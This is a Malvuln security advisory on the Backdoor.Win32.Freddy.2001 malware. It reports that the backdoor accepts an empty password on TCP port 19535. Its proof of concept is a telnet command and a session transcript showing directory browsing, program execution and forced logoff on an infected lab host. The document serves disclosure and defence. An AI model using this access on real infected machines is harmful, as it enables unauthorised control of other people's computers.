Backdoor.Win32.Freddy.2001 / Authentication Bypass Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders
who can reach an infected host can gain access using an empty password and
run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

Exploit/PoC:
#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User:               Victim

Computer net name:  DESKTOP-2C3JQHO
IP address:         192.168.18.129
Local date & time:  2/3/2022 2:45:46 AM
Hackers connected:  2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows

Window 6976: dump

Window 6976: tmp

Window 1956: Administrator: Administrator Command Prompt

Window 6976: Program Manager
Sycon> cd \

CD: C:\

Sycon> dir

Found: $Recycle.Bin


Found: Boot

Found: bootmgr

Found: BOOTNXT
etc...
Sycon> exec calc

Executing...
Sycon> logoff

Windows is going down...

I'm killed!

Sycon>


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